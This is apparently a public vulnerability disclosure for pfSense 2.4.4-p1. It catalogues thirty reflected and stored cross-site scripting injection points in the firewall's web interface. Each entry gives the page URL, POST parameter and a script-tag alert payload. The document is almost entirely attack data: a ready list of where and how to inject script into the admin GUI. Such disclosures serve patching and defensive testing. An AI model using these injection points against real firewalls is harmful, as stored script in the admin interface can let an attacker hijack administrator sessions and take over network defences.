pfSense 2.4.4-p1 - Cross-Site Scripting

##################################################################################################################################
# Exploit Title: pfSense 2.4.4-p1 | Cross-Site Scripting
# Date: 28.01.2019
# Exploit Author: Ozer Goker
# Vendor Homepage: https://www.pfsense.org
# Software Link: https://frafiles.pfsense.org/mirror/downloads/pfSense-CE-2.4.4-RELEASE-p1-amd64.iso.gz
# Version: 2.4.4-p1
##################################################################################################################################

Introduction
pfSense® software is a free, open source customized distribution of FreeBSD specifically tailored for use as a firewall and router that is entirely managed via web interface. In addition to being a powerful, flexible firewalling and routing platform, it includes a long list of related features and a package system allowing further expandability without adding bloat and potential security vulnerabilities to the base distribution.


#################################################################################


XSS details: Reflected & Stored

#################################################################################

XSS1 | Reflected

URL
http://192.168.2.200/system_advanced_admin.php

METHOD
Post

PARAMETER
webguiproto

PAYLOAD
"><script>alert(1)</script>

#################################################################################

XSS2 | Reflected

URL
http://192.168.2.200/interfaces_assign.php

METHOD
Post

PARAMETER
wan

PAYLOAD
"><script>alert(2)</script>

#################################################################################

XSS3 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=FloatingRules

METHOD
Post

PARAMETER
dscp

PAYLOAD
"><script>alert(3)</script>

#################################################################################

XSS4 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=FloatingRules

METHOD
Post

PARAMETER
tag

PAYLOAD
"><script>alert(4)</script>

#################################################################################

XSS5 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=FloatingRules

METHOD
Post

PARAMETER
tagged

PAYLOAD
"><script>alert(5)</script>

#################################################################################

XSS6 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=FloatingRules

METHOD
Post

PARAMETER
statetype

PAYLOAD
"><script>alert(6)</script>

#################################################################################

XSS7 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=FloatingRules

METHOD
Post

PARAMETER
vlanprio

PAYLOAD
"><script>alert(7)</script>

#################################################################################

XSS8 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=FloatingRules

METHOD
Post

PARAMETER
vlanprioset

PAYLOAD
"><script>alert(8)</script>

#################################################################################

XSS9 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=FloatingRules

METHOD
Post

PARAMETER
dnpipe

PAYLOAD
"><script>alert(9)</script>

#################################################################################

XSS10 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=FloatingRules

METHOD
Post

PARAMETER
defaultqueue

PAYLOAD
"><script>alert(10)</script>

#################################################################################

XSS11 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=wan&after=-1

METHOD
Post

PARAMETER
dscp

PAYLOAD
"><script>alert(11)</script>

#################################################################################

XSS12 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=wan&after=-1

METHOD
Post

PARAMETER
tag

PAYLOAD
"><script>alert(12)</script>

#################################################################################

XSS13 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=wan&after=-1

METHOD
Post

PARAMETER
tagged

PAYLOAD
"><script>alert(13)</script>

#################################################################################

XSS14 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=wan&after=-1

METHOD
Post

PARAMETER
statetype

PAYLOAD
"><script>alert(14)</script>

#################################################################################

XSS15 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=wan&after=-1

METHOD
Post

PARAMETER
vlanprio

PAYLOAD
"><script>alert(15)</script>

#################################################################################

XSS16 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=wan&after=-1

METHOD
Post

PARAMETER
vlanprioset

PAYLOAD
"><script>alert(16)</script>

#################################################################################

XSS17 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=wan&after=-1

METHOD
Post

PARAMETER
dnpipe

PAYLOAD
"><script>alert(17)</script>

#################################################################################

XSS18 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=wan&after=-1

METHOD
Post

PARAMETER
defaultqueue

PAYLOAD
"><script>alert(18)</script>

#################################################################################

XSS19 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=lan

METHOD
Post

PARAMETER
dscp

PAYLOAD
"><script>alert(19)</script>

#################################################################################

XSS20 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=lan

METHOD
Post

PARAMETER
tag

PAYLOAD
"><script>alert(20)</script>

#################################################################################

XSS21 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=lan

METHOD
Post

PARAMETER
tagged

PAYLOAD
"><script>alert(21)</script>

#################################################################################

XSS22 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=lan

METHOD
Post

PARAMETER
statetype

PAYLOAD
"><script>alert(22)</script>

#################################################################################

XSS23 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=lan

METHOD
Post

PARAMETER
vlanprio

PAYLOAD
"><script>alert(23)</script>

#################################################################################

XSS24 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=lan

METHOD
Post

PARAMETER
vlanprioset

PAYLOAD
"><script>alert(24)</script>

#################################################################################

XSS25 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=lan

METHOD
Post

PARAMETER
dnpipe

PAYLOAD
"><script>alert(25)</script>

#################################################################################

XSS26 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=lan

METHOD
Post

PARAMETER
defaultqueue

PAYLOAD
"><script>alert(26)</script>

#################################################################################

XSS27 | Reflected

URL
http://192.168.2.200/firewall_shaper.php

METHOD
Post

PARAMETER
name

PAYLOAD
"><script>alert(27)</script>

#################################################################################

XSS28 | Stored

URL
http://192.168.2.200/services_igmpproxy_edit.php

METHOD
Post

PARAMETER
address0

PAYLOAD
"><script>alert(28)</script>

#################################################################################

XSS29 | Stored

URL
http://192.168.2.200/services_ntpd_gps.php

METHOD
Post

PARAMETER
gpstype

PAYLOAD
"><script>alert(29)</script>

#################################################################################

XSS30 | Reflected

URL
http://192.168.2.200/diag_traceroute.php

METHOD
Post

PARAMETER
host

PAYLOAD
"><script>alert(30)</script>

#################################################################################